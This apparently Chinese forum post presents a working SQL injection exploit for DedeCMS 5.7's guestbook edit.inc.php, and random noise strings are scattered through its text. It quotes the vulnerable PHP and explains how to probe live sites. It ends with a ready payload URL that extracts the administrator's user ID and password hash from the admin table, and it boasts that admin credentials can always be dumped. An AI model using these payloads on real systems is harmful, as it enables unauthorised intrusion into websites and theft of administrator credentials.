影响版本为5.7
! J. h; r q- E# ~
8 g* Q* Y# e+ u/ @- P漏洞文件edit.inc.php具体代码:
; C' y/ _ j5 y9 X& f" A2 x, \8 g4 s+ v9 \" T6 ?1 ^0 c
< ?php 4 ]; @% d+ n' ^: F8 W5 ^$ }
" N" U7 `4 @* ^" O' gif(!defined('DEDEINC')) exit('Request Error!');
1 g9 u" ]) C0 B: T6 L$ |* q( Z2 p( {
4 B& @* G% @0 i! ~6 x) R/ w
% |0 |2 K! p: v8 u% r3 n0 `
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; : r. E1 ^3 Y( E9 q3 T; P) D, P
# t0 ], V3 v; {- |else $GUEST_BOOK_POS = "guestbook.php";
0 N1 u( M4 k! Q1 O1 Q% S
0 p; I4 v" u) r2 K" s' J, i - u; m9 v% s/ N. V8 i2 V% b" R3 G
! Q0 Q" _6 {3 o& ?" X. {/ X$id = intval($id); , A3 j# D! _# ?- ]' z
r. Y! @6 \- S/ ]7 z# D4 cif(empty($job)) $job='view'; 5 Z2 s) b2 p4 F$ |
8 U6 T, A- m" C7 R, b, J8 x
" y7 _, G6 F( [; A6 Z& B, ^' w
N( \$ J; X6 e' n% d: I: l ?
if($job=='del' && $g_isadmin)
. P$ T" h ]/ K3 Y( h
Z: d/ q: t( E: _1 E, c+ A/ X{ 5 A% p2 B; A+ X" L/ W3 c% t/ X
. X. B4 W8 ^7 u9 J8 Y+ M' S5 B$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
. M$ f) F; l# C: a* l4 H o8 x, |; [
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); # V& a7 k" d4 h
0 j3 x" T/ X7 c
exit();
, ]: }6 Q4 f7 R- v2 h( ^
1 Z4 ~& D! ~% W x' w}
( H: M, T ?* ` g( q6 ~# g# j) _9 {# S% w7 S1 @% D: z8 A
else if($job=='check' && $g_isadmin) 3 ^4 V% y, F8 b7 s) R. U( s
( E, M7 g* ?) ^+ G$ }5 x. }- L{ / |2 Z" C6 N9 z$ T4 o
: D1 p: i: m9 j5 f9 H( d
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
$ ]! C1 E+ j O& ?! j- L9 S& |; Q O! y6 `
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
5 S$ L3 k1 m3 k, Q' P9 G( k7 E8 H
7 w9 j% M% R* V3 cexit(); ) b* G" ]9 ]+ i+ K, u0 d# m2 [
2 L* V6 {, ~' t% k# q' _}
7 S) j( `# S7 Y/ B1 Y- E& |) j
! _" B1 ^( D+ e" h& Y, nelse if($job=='editok') : ], Q5 ?! Q3 h. e7 y- }
6 C) t( V# h6 z3 F2 p% n$ {
{
8 u, O* U. d: d+ b7 O4 h4 ?* ?8 L0 R/ @7 @/ z& \% R: g
$remsg = trim($remsg);
' j! e" A6 g' V n' j+ U9 t: V! B0 `+ o$ S5 ]3 G4 d7 J! F+ _; b
if($remsg!='') - d# w6 [) O7 v \, a
: r! I8 X, L8 |{
+ ?! G# Z9 T; Y8 d
) ]9 b: m b+ B" m3 e//管理员回复不过滤HTML By:Errorera blog:errs.cc 4 w0 b& L3 |" H
% D7 W/ I/ o) m/ S
if($g_isadmin) 5 c; k- q6 {% h0 @+ X" _9 _* V! O0 K5 p
0 G: R' a1 v l. H
{ , A( Q* a5 Z- X
; a) ?; w+ c B4 m2 H; P' b' w+ z8 V$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 8 L; z# `$ g+ \3 E
) q% ], e) w* `3 y
//$remsg <br /><font color=red>管理员回复:</font> }
( L4 j) s) {( P5 i' v% ^
* d& f2 \% h1 [8 i* |4 m; Relse 9 x8 W6 m' }9 N7 X2 D9 F- K! G
' } Z9 Z! k% Q8 e7 m) D{
# Q( r% X' G8 x' A3 M+ Q# i, p: s3 i" m1 h, h2 V/ @
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
) g1 Y+ G8 B. T& ^# g4 }, O; g3 U) r
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; : N6 N3 [1 h0 z( F2 Y) ^0 l1 q
3 J# l% U* Q% L8 V p5 C8 i$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 2 B( h- {; s6 r( I; e2 R0 V; u
2 R' X0 x- \8 `) F; t% K2 \$ E
$msg = $oldmsg.$remsg; $ M) e; h& s! p
% k, \/ a, W9 \" x! l/ H8 w
} ' {! \" A1 {; @: K; L- o$ N
0 u# o* b' j% q) o, r ]/ n}
; j5 d' [# e( B( \
8 h+ J* ~' @! S//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc # v) b) i: I: s/ t
: F5 A- H. S X% Z. d1 A$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
& c. z$ Q; ]! J, x6 V6 U" R5 x! t4 Q. C
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
, K: N% [. Y# X; i
* |# u% }! o- D2 e+ _exit(); " c6 y0 H- X* `/ w2 b
# ?$ C6 a* H( x9 j/ h; R' O
}
( n' W9 p+ x& u3 P9 P- T( v' W& k
/ g+ a/ d% z j+ U//home:www.errs.cc
- z1 U# j1 p! `& y) B% x) x8 G6 N R. x2 Z; ]8 M; |
if($g_isadmin)
5 [5 }/ S# x9 N# M0 Q ~
& p" ]6 w/ U4 t. h4 |{
2 V+ n9 a- w2 k, Y' Z* v+ k2 S
2 P; z6 Z0 c+ i% O$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); & c1 [5 M' e. Y5 ?$ H# b0 w0 i4 c
" P5 R( g" b5 @7 w) t
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
; k& M" m9 F( m! a0 B6 ]; i
% K3 s. P A* H$ X7 w9 a5 w} ; q! Q+ R) a' M* h
7 U# V/ E% q( r2 e& Q
else
4 k4 ?7 Z% i T/ ~
) I/ o0 K- h' N2 j' Y9 j{
+ s$ u1 J3 j ?
1 ^% ^; b1 B! y# m$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); / F7 Z S6 [( U" z8 H. O8 p* U
/ A4 {$ A4 D3 w# X3 d2 G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
& l4 w/ `' Z3 e1 d
3 @" k+ Y' h9 G* B, J1 p} 漏洞成功需要条件:
8 a2 J0 N/ w6 D! q- v1. php magic_quotes_gpc=off2 h3 P R1 P% t+ V) A
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
( n$ z) W' n! D* C7 U) Y2 G5 Z
9 X3 Y, ^- p+ P. R4 Q: ]: s& B- q怎么判断是否存在漏洞:
$ U) U$ j& i+ l. o! ]( j% Y先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,0 a# y, _+ Y& d8 _1 i5 K' W, ~
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID1 i" J; T: _! j6 @2 ^
访问:
! P8 z$ B+ }2 q7 V3 |3 M) k% L/ W D" H. [6 Y4 f9 v3 w( C! ~0 Z+ k8 h
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
- f H3 a5 Y5 ?- k# B跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证9 Z* F& r5 p" y# Q7 h! i
: v' }. P0 Q9 b: K" m" Q" Y
+ |2 u$ \5 u: _& x; y) O) W q' s明漏洞无法利用应为他开启了 php magic_quotes_gpc=off4 }; S% C" Y# Q2 z. R- F8 K+ Y) z
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, Y1 `1 L2 z" t那么再次访问
: I( Z% x) [; H& j" c' s. g1 f- T$ S! z3 l
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
4 f8 k0 G V! Y3 Q/ S" M
" N6 \1 I, L0 i: x大概利用就是这样,大家有兴趣的多研究下!!! u. ]2 W* q2 o. D
% X8 c; O5 u, Z6 p
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
- {% U$ ~, h) t$ A, D& E" F3 T' M: I/ z
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |